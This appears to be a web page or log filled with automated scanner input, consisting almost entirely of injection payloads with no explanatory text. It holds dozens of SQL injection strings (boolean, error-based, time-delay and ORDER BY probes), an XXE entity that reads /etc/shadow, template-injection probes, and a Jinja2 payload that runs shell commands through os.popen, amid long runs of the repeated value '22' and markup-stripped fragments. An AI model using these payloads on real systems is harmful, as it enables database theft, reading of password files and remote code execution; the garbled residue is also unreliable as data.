• ?xml version="1.0" ? DOCTYPE replace [ENTITY ent SYSTEM "file:///etc/shadow" ] userInfo firstNameJohn/firstName lastName&ent/lastName /userInfo

• ?xml version="1.0" ? DOCTYPE replace [ENTITY ent SYSTEM "file:///etc/shadow" ] userInfo firstNameJohn/firstName lastName&ent/lastName /userInfo

• 22

• 22

• 22

• 22)(").).,,

• 7438-7416

• 22WpxFCR"XpwyQc

• 22) AND 6921=9858 AND (9585=9585

• 22) AND 1663=1663 AND (2888=2888

• 22 AND 3794=6948

• 22 AND 1663=1663

• 22 AND 3246=8400 oyIl

• 22 AND 1663=1663 dxGv

• 22) AND 6531=2066 AND (iInK=iInK

• 22) AND 1663=1663 AND (moXE=moXE

• 22 AND 4224=7771 AND ZbaG=ZbaG

• 22 AND 1663=1663 AND ZJtE=ZJtE

• (SELECT (CASE WHEN (4997=7762) THEN 22 ELSE (SELECT 7762 UNION SELECT 7556) END))

• (SELECT (CASE WHEN (7727=7727) THEN 22 ELSE (SELECT 4680 UNION SELECT 7399) END))

• 22) AND EXTRACTVALUE(7394,CONCAT(0x5c,0x7176716b71,(SELECT (ELT(7394=7394,1))),0x717a6b6271)) AND (2366=2366

• 22 AND EXTRACTVALUE(7394,CONCAT(0x5c,0x7176716b71,(SELECT (ELT(7394=7394,1))),0x717a6b6271))

• 22 AND EXTRACTVALUE(7394,CONCAT(0x5c,0x7176716b71,(SELECT (ELT(7394=7394,1))),0x717a6b6271)) Svaj

• 22) AND EXTRACTVALUE(7394,CONCAT(0x5c,0x7176716b71,(SELECT (ELT(7394=7394,1))),0x717a6b6271)) AND (oLNs=oLNs

• 22 AND EXTRACTVALUE(7394,CONCAT(0x5c,0x7176716b71,(SELECT (ELT(7394=7394,1))),0x717a6b6271)) AND SriM=SriM

• 22) AND 3565=CAST((CHR(113)CHR(118)CHR(113)CHR(107)CHR(113))(SELECT (CASE WHEN (3565=3565) THEN 1 ELSE 0 END))::text(CHR(113)CHR(122)CHR(107)CHR(98)CHR(113)) AS NUMERIC) AND (4721=4721

• 22 AND 3565=CAST((CHR(113)CHR(118)CHR(113)CHR(107)CHR(113))(SELECT (CASE WHEN (3565=3565) THEN 1 ELSE 0 END))::text(CHR(113)CHR(122)CHR(107)CHR(98)CHR(113)) AS NUMERIC)

• 22 AND 3565=CAST((CHR(113)CHR(118)CHR(113)CHR(107)CHR(113))(SELECT (CASE WHEN (3565=3565) THEN 1 ELSE 0 END))::text(CHR(113)CHR(122)CHR(107)CHR(98)CHR(113)) AS NUMERIC) kEVt

• 22) AND 3565=CAST((CHR(113)CHR(118)CHR(113)CHR(107)CHR(113))(SELECT (CASE WHEN (3565=3565) THEN 1 ELSE 0 END))::text(CHR(113)CHR(122)CHR(107)CHR(98)CHR(113)) AS NUMERIC) AND (zdjJ=zdjJ

• 22 AND 3565=CAST((CHR(113)CHR(118)CHR(113)CHR(107)CHR(113))(SELECT (CASE WHEN (3565=3565) THEN 1 ELSE 0 END))::text(CHR(113)CHR(122)CHR(107)CHR(98)CHR(113)) AS NUMERIC) AND QACc=QACc

• 22) AND 4222 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (4222=4222) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(98)+CHAR(113))) AND (2962=2962

• 22 AND 4222 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (4222=4222) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(98)+CHAR(113)))

• 22 AND 4222 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (4222=4222) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(98)+CHAR(113))) FxTg

• 22) AND 4222 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (4222=4222) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(98)+CHAR(113))) AND (AZhE=AZhE

• 22 AND 4222 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (4222=4222) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(98)+CHAR(113))) AND SHMb=SHMb

• 22) AND 7840=(SELECT UPPER(XMLType(CHR(60)CHR(58)CHR(113)CHR(118)CHR(113)CHR(107)CHR(113)(SELECT (CASE WHEN (7840=7840) THEN 1 ELSE 0 END) FROM DUAL)CHR(113)CHR(122)CHR(107)CHR(98)CHR(113)CHR(62))) FROM DUAL) AND (5742=5742

• 22 AND 7840=(SELECT UPPER(XMLType(CHR(60)CHR(58)CHR(113)CHR(118)CHR(113)CHR(107)CHR(113)(SELECT (CASE WHEN (7840=7840) THEN 1 ELSE 0 END) FROM DUAL)CHR(113)CHR(122)CHR(107)CHR(98)CHR(113)CHR(62))) FROM DUAL)

• 22 AND 7840=(SELECT UPPER(XMLType(CHR(60)CHR(58)CHR(113)CHR(118)CHR(113)CHR(107)CHR(113)(SELECT (CASE WHEN (7840=7840) THEN 1 ELSE 0 END) FROM DUAL)CHR(113)CHR(122)CHR(107)CHR(98)CHR(113)CHR(62))) FROM DUAL) QwRZ

• 22) AND 7840=(SELECT UPPER(XMLType(CHR(60)CHR(58)CHR(113)CHR(118)CHR(113)CHR(107)CHR(113)(SELECT (CASE WHEN (7840=7840) THEN 1 ELSE 0 END) FROM DUAL)CHR(113)CHR(122)CHR(107)CHR(98)CHR(113)CHR(62))) FROM DUAL) AND (AFNo=AFNo

• 22 AND 7840=(SELECT UPPER(XMLType(CHR(60)CHR(58)CHR(113)CHR(118)CHR(113)CHR(107)CHR(113)(SELECT (CASE WHEN (7840=7840) THEN 1 ELSE 0 END) FROM DUAL)CHR(113)CHR(122)CHR(107)CHR(98)CHR(113)CHR(62))) FROM DUAL) AND HBLz=HBLz

• (SELECT CONCAT(CONCAT(qvqkq,(CASE WHEN (1731=1731) THEN 1 ELSE 0 END)),qzkbq))

• 22)SELECT PG_SLEEP(5)

• {7*7}

• 22SELECT PG_SLEEP(5)

• 22)SELECT PG_SLEEP(5)

• 22SELECT PG_SLEEP(5)

• 22)WAITFOR DELAY 0:0:5

• 22WAITFOR DELAY 0:0:5

• 22)WAITFOR DELAY 0:0:5

• 22WAITFOR DELAY 0:0:5

• 22)SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(122)CHR(76)CHR(111)CHR(103),5) FROM DUAL

• 22SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(122)CHR(76)CHR(111)CHR(103),5) FROM DUAL

• 22)SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(122)CHR(76)CHR(111)CHR(103),5) FROM DUAL

• 22SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(122)CHR(76)CHR(111)CHR(103),5) FROM DUAL

• 22) AND (SELECT 1452 FROM (SELECT(SLEEP(5)))Xdec) AND (4631=4631

• {{7*7}}

• 22 AND (SELECT 1452 FROM (SELECT(SLEEP(5)))Xdec)

• 22 AND (SELECT 1452 FROM (SELECT(SLEEP(5)))Xdec) nRkk

• 22) AND (SELECT 1452 FROM (SELECT(SLEEP(5)))Xdec) AND (evOM=evOM

• 22 AND (SELECT 1452 FROM (SELECT(SLEEP(5)))Xdec) AND mFOO=mFOO

• 22) AND 4547=(SELECT 4547 FROM PG_SLEEP(5)) AND (8659=8659

• 22 AND 4547=(SELECT 4547 FROM PG_SLEEP(5))

• 22 AND 4547=(SELECT 4547 FROM PG_SLEEP(5)) kteL

• 22) AND 4547=(SELECT 4547 FROM PG_SLEEP(5)) AND (dQnX=dQnX

• 22 AND 4547=(SELECT 4547 FROM PG_SLEEP(5)) AND bjcC=bjcC

• 22) WAITFOR DELAY 0:0:5 AND (1832=1832

• 22 WAITFOR DELAY 0:0:5

• 22 WAITFOR DELAY 0:0:5 ivdX

• 22) WAITFOR DELAY 0:0:5 AND (bzLH=bzLH

• 22 WAITFOR DELAY 0:0:5 AND dzBn=dzBn

• 22) AND 4960=DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)CHR(78)CHR(88)CHR(73),5) AND (6125=6125

• 22 AND 4960=DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)CHR(78)CHR(88)CHR(73),5)

• 22 AND 4960=DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)CHR(78)CHR(88)CHR(73),5) McZl

• 22) AND 4960=DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)CHR(78)CHR(88)CHR(73),5) AND (dduk=dduk

• 22 AND 4960=DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)CHR(78)CHR(88)CHR(73),5) AND OwKd=OwKd

• 22) ORDER BY 1 SAsU

• 22) ORDER BY 9402 CCKZ

• 22 ORDER BY 1 Krqn

• 22 ORDER BY 8023 VFiw

• 22 ORDER BY 1 EnyC

• 22 ORDER BY 4800 dDHG

• 22) ORDER BY 1 kQzh

• 22) ORDER BY 6542 CnbG

• 22 ORDER BY 1 YINr

• 22 ORDER BY 6958 zElE

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• "

• ?xml version="1.0" ? DOCTYPE replace [ENTITY ent SYSTEM "file:///etc/shadow" ] userInfo firstNameJohn/firstName lastName&ent/lastName /userInfo

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• 22

• }

• abc

• abc

• 1 1

• 1 1

• 11

• 1/1

• $path

• $path

• $env_var

• [[7*7]]

• { for x in ().class.base.subclasses() }{ if "warning" in x.name }{{x()._module.builtins[import](os).popen(request.args.input).read()}}{endif}{endfor}

• {{request.class}}

• ${7*7}

• $env_var

• id

• id

• abc

• abc